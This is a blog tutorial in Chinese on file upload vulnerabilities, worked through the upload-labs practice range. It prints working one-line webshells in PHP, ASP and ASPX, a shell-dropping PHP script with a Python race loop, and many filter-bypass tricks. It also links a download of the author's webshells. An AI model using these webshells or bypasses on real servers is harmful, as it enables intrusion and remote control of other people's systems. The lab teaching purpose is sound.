0
点赞
收藏
分享

微信扫一扫

文件上传漏洞(一)

止止_8fc8 2022-04-04 阅读 41

上传漏洞

一句话马

一句话木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用

常见写法

asp一句话木马
<%eval request("heroes")%>
php一句话木马
<?php @eval($_POST['cmd']);?>
aspx一句话木马
<%@Page Language="Jscript"%>
<%eval(Request.Item["value"])%>

图片一句话制作

图片一句话制作这里博主直接上链接,大家可以参考这位博主的博文,讲的很详细

图片一句话木马简单制作方法_TimeOldman的博客-CSDN博客_图片一句话

小马与大马的区别

小马体积小,容易隐藏,隐蔽性强,最重要在于与图片结合一起上传之后可以利用nginx或者IIS6的解析漏洞来运行,不过功能少,一般只有上传等功能

大马体积比较大一般50K以上。功能也多,一般都包括提权命令,磁盘管理数据库连接借口,执行命令甚至有些以具备自带提权功能和压缩,解压缩网站程序的功能。这种马隐蔽性不好,而大多代码如不加密的话很多杀毒厂商开始追杀此类程序

在文章的最后博主将会给大家分享我自己经常用的大马,小马与绕狗一句话,感觉博主提供的不好的同学可以自行网上查找

解析漏洞

IIS6.0毕竟是一个低版本,除了靶场和僵尸站很少能够遇到。真实的渗透中,会遇到很多的问题,比如WAF、高版本过滤、安全狗、被拦截绕过、不解析等等

解析漏洞主要说的是一些特殊文件被iis,apache,nginx在某种情况下解释成脚本文件格式的漏洞

IIS 5.X,6.0解析漏洞

这里随便看看就行了,太老了,知道就行了

目录解析

/xx.asp/xx.jpg

在网站下建立文件夹的名字为.asp .asa 的文件夹,其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行

/webshell.asp/1.jpg

将被当作asp文件来执行。假设黑客可以控制上传文件夹路径就可以不管你上传后你的图片改不改名都能拿shell了

上传文件时,将一句话文件名改为jpg图片形式,来过防火墙

文件解析

webshell.asp;.jpg

第二种,在IIS6.0下分号后面的不被解析,也就是说

webshell.asp;.jpg

会被服务器看成是webshell.asp还有IIS6.0默认的可执行文件除了asp还包含这三种

/webshell.asa
/webshell.cer
/webshell.cdx

我们将文件名改为1.asp;.jpg,这个时候他的类型还是图像

APache解析漏洞

APache是从右到左开始判断解析,如果为不可识别解析,就再往左判读

比如 webshell...owf.rar这两种后缀是apache 不可识别解析,apache就会把webshell.php.owf.rar解析成php.

如何判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝 试上传一个webshell.php.rar.jpg.png... (把你知道的常见后 上…)去测试是否是合法后缀

任意不识别的后缀,逐级向上识别

环境搭建

为了方便大家学习文件上传漏洞我们将利用upload-labs靶场进行讲解

下载地址:https://github.com/c0ny1/upload-labs/releases

绕过JS验证

绕过JS代码验证有三种种方法

Burpsuite剔除响应JS

对于JS前端验证,直接删除JS代码之后就可以绕过JS验证
在这里插入图片描述

打开 Remove all JavaScript他就会自动帮我剔除掉 Java Script

这种方法有缺陷,因为禁用了js代码,如果在实战中,网站的一些正常功能可能无法显示

浏览器审计工具剔除JS

在这里插入图片描述

将浏览器js代码禁用掉,右键—检查—调试器—设置—禁用JavaScript,也可以通过快捷键,F12打开浏览器审计工具—F1打开设置

手工删除JS代码

复制网站源代码将他复制打记事本中,文件后缀名更改为html,打开找到JS代码将其删除

如果我们打开,是有上传文件的界面,但是不知道要上传给谁。这时我们返回到最开始,右键—检查—网络—然后上传一个正常的图片。这样我们就可以看到这个文件传给谁了
在这里插入图片描述

然后我们在打开刚刚修改过的文件,修改action,这个action是告诉他这个图片提交给谁,因为这个源代码中没有,我们就自己加一个
在这里插入图片描述
最后用浏览器打开我们的html文件,上传,php文件

绕过MIME-Type验证

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }
}

我们从源码中可以看出来这一关的验证是文件类型验证,也就是验证MIME信息

 if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif'))

所以进行抓包,将Content-Type修改为允许上传的类型(image/jpeg、image/png、image/gif)三选一
在这里插入图片描述
修改后点击forward,显示我们上传成功

绕过黑名单验证

基于文件后缀名验证方式的分类:

1、基于白名单验证:只针对白名单中有的后缀名,文件才能上传成功。

2、基于黑名单验证:只针对黑名单中没有的后缀名,文件才能上传成功。

查看源代码,我们可以发现是一个黑名单验证
在这里插入图片描述
如果黑名单定义不完整的话是可以实现绕过的,用.phtml .phps .php5 .pht进行绕过。这里我们直接上传一个.php5文件
在这里插入图片描述
要在apache的httpd.conf中有如下配置代码:AddType application/x-httpd-php .php .phtml .phps .php5 .pht,如果不配置他是无法解析php5代码的,访问的时候就是一个空白页

打开配置文件—打开httpd.conf,修改代码,保存,重启phpstudy就可以了

img

.htaccess

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可 以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录 的访问、禁止目录列表、配置默认文档等功能

我们可以看到禁止上传文件可太多了
在这里插入图片描述
这种情况,我们可以尝试上传一个.htaccess配置文件,将4.png图片当作php代码进行解析,首先创建一个.htaccess文件,里面写上代码

<FilesMatch "4.png"> SetHandler application/x-httpd-php
SetHandler application/x-httpd-php

这串代码的意思是如果文件中有一个4.png的文件,他就会被解析为.php,把这个文件上传上去。上传上去之后,我们在把图片用Notepad(记事本)打开,里面写上php代码。再进行上传

注意

.htaccess文件不能起名字,他就是.htaccess文件,如果你将他改为4.htaccess或者其他的什么名字是不可以的,无法解析。在实战中有可能上传上去这个文件会被自动重命名,被重命名了就不可以了。

如果以上操作都弄好了,还是出不来,还是去改phpstudy配置文件,其他选项菜单–打开配置文件—httpd.conf

img

大小写绕过

Windows系统下,对于文件名中的大小写不敏感。例如:test.phpTeSt.PHP是一样的

Linux系统下,对于文件名中的大小写敏感。例如:test.phpTesT.php就是不一样的
在这里插入图片描述我们分析代码可以发现,他没有将其转化为小写或大写
$file_ext = strtolower($file_ext); //转换为小写
在这里插入图片描述我们可以直接修改文件名改变大小写来进行上传webshell

空格绕过

Windows系统下,对于文件名中空格会被作为空处理,程序中的检测代码却不能自动删除空格,从而绕过黑名单

针对这一的情况需要使用burp suite阶段HTTP请求之后修改对应的文件名,添加空格
直接看代码,发现没有收尾去空
$file_ext = trim($file_ext); //首尾去空
在这里插入图片描述
上传php文件,通过burp suite抓包在后面添加空格,从而做到成功上传webshell

.号绕过

Windows系统下,文件后缀最后一个点会被自动去除
在这里插入图片描述通过源代码我们可以看到黑名单没有过滤掉.
$file_name = deldot($file_name);//删除文件名末尾的点
在这里插入图片描述我们就可以用.号来绕过他,从而成功上传webshell

特殊符号绕过

windows系统下,如果上传的文件名中test.php::$DATA会在服务器上生成一个test.php的文件,其中内容和所上传文件内容相同,并被解析
在这里插入图片描述

通过源代码我们可以看到黑名单没有过滤掉::$DATA
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
在这里插入图片描述
我们就可以利用特殊符号来绕过,从而成功上传webshell

路径拼接绕过

在没有对上传的文件进行重命名的情况下,用户可以自定义文件名并在服务器中上传新建,就会造成对应的绕过黑名单
在这里插入图片描述我们可以通过代码看到,我们上传的文件没有经过随机化的重命名,直接保持在服务器上
在这里插入图片描述
我们不仅可以在kali下修改文件名,上传1.php. .文件,也可以在burpsuite下进行修改

双写绕过

代码编写过程中,只对黑名单中的内容进行空替换,因为只替换一次所以造成双写绕过

str_ireplace() 函数替换字符串中的一些字符(不区分大小写)
该函数必须遵循下列规则:

  • 如果搜索的字符串是一个数组,那么它将返回一个数组
  • 如果搜索的字符串是一个数组,那么它将对数组中的每个元素进行查找和替换
  • 如果同时需要对数组进行查找和替换,并且需要执行替换的元素少于查找到的元素的数量,多余元素将用空字符串进行替换
  • 如果是对一个数组进行查找,但只对一个字符串进行替换,那么替代字符串将对所有查找到自直起作用。
  • 该函数不区分大小写。请使用 str_replace() 函数来执行区分大小写的搜索。
  • 该函数是二进制安全的。
    在这里插入图片描述$file_name = str_ireplace($deny_ext,"", $file_name);
    在这里插入图片描述
    比如你上传了11.php,那么他就会把你的php过滤掉。文件没有了后缀名,自然也就无法解析了。但是他是一次过滤,也就是说我们写两个php就可以了

00截断

0X00是十六进制表示方法, 是ASCII码为0的字符,在有些函数处理时,会把这个字符当作结束符

系统在对文件名的读取时,如果遇到0X00,就会认为读取已经结束

在PHP5.3之后的版本中完全修复了00阶段,并且00截断受限与magic_quotes_gpc
在这里插入图片描述在练习这个漏洞时PHP版本低于5.3且magic_quotes_gpc关闭

GET型00截断

get型提交的内容会被自动进行URL解码
注意:一定要关闭GPC,否则无法成功
在这里插入图片描述他会将6.jpg拼接在../upload/的后面,因此我们可以在../upload/的后面加上6.php%00,形成../upload/6.php%00,在上传数据的时候图片会拼接在6.php%00的后面就形成了../upload/6.php.%006.jpg,当系统在对文件名读取时,如果遇到0X00就会认为读取已经结束,所以最后上传的文件就是6.php
在这里插入图片描述

post型00截断

在POST请求中,%00不会被自动解码,需要在16进制中进行修改00
在这里插入图片描述我们现在/upload/的后面加上6.php 注意:6.php 后面有个空格
在这里插入图片描述因为空格的16位进制编码为20,我们要找到20将其修改为00即可上传,从而做到POST型00截断

图片马

上面已经教过大家怎么制作图片马,现在在教大家一个方法
在一句话木马前面加入GIF89a然后将木马保存为图片的格式

列如:webshell.jpg webshell.gif

这种方法也被称之为文件头欺骗,文件头欺骗可以用来绕过简单的waf

gif89a用来欺骗文件头的作用

GIF89a
<?php phpinfo();?>

在这里插入图片描述我们将我们制作好的图片马上传,当然要想解析出来这个图片,还得需要包含漏洞

<?php
	if($_GET){
		include($_GET['file']);
	}
	else{
		echo 'not get args file';
	}
?>

我们将PHP代码放在网站该目录下,在结合文件包含进行phpinfo输出
在这里插入图片描述

二次渲染

二次渲染是由Gif文件或 URL 创建一个新图象。成功则返回一图像标识符/图像资源,失败则返回false,导致图片马的数据丢失,上传图片马失败

按照原来的方法进行上传,我们可以发现还是可以上传的,但是配合包含漏洞却无法解析,这时我们把上传的图片复制下来用Notepad打开,发现我们原来写的php代码没有了,这就是二次渲染把我们里面的php代码删掉了

我们把原图和他修改过的图片进行比较,看看哪个部分没有被修改。将php代码放到没有被更改的部分,配合包含漏洞,就可以了。

使用HxD Hex Editor进行比较
下载地址:https://mh-nexus.de/en/hxd
在这里插入图片描述
具体实现需要自己编写Python程序,人工尝试基本是不可能构造出能绕过渲染函数的图片webshell的,知道怎么解就可以了

竞争条件

网站逻辑:

  1. 网站允许上传任意文件,然后检查上传文件是否包含webshell,如果包含删除该文件
  2. 网站运行上传任意文件,但是如果不是指定类型,那么使用unlink删除文件
  3. 在删除之前访问上传的php文件,从而执行上传文件中的php代码
    在这里插入图片描述
    在这里我们让他睡眠10秒,因为我们使用单一的测试他的速度达不到,无法在删除之前进行访问

在这里插入图片描述代码执行逻辑:先移动,后检测,不符合再删除,符合则改名字

先创建一个webshell.php

<?php
    fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"]) ?>');
?>

我们可以通过自己写的python脚本不断请求

import requests
while True:
    requests.get("http://192.168.0.108/upload/webshell.php")

运行python脚本,再开始上传webshell,上传到本地的webshell会在本地创建shell.php,系统会检查我们上传的PHP文件,而不会检查在本地创建的shell.php

常用马

链接:https://pan.baidu.com/s/1ZJKAtSmn-6E0zQvv_iQs4w
提取码:38uk

参考文献

PHP、asp、aspx、JSP一句话 - 状元兜里有糖 - 博客园 (cnblogs.com)
upload-labs通过教程

文件上传漏洞博主将会分为两次讲解,主要是害怕一次写的太多有些同学接受不了

本文章借鉴了各路大神的手笔,博主也是学生难免会有些错误和理解不到位的地方,欢迎讨论与指正!!!

举报

相关推荐

0 条评论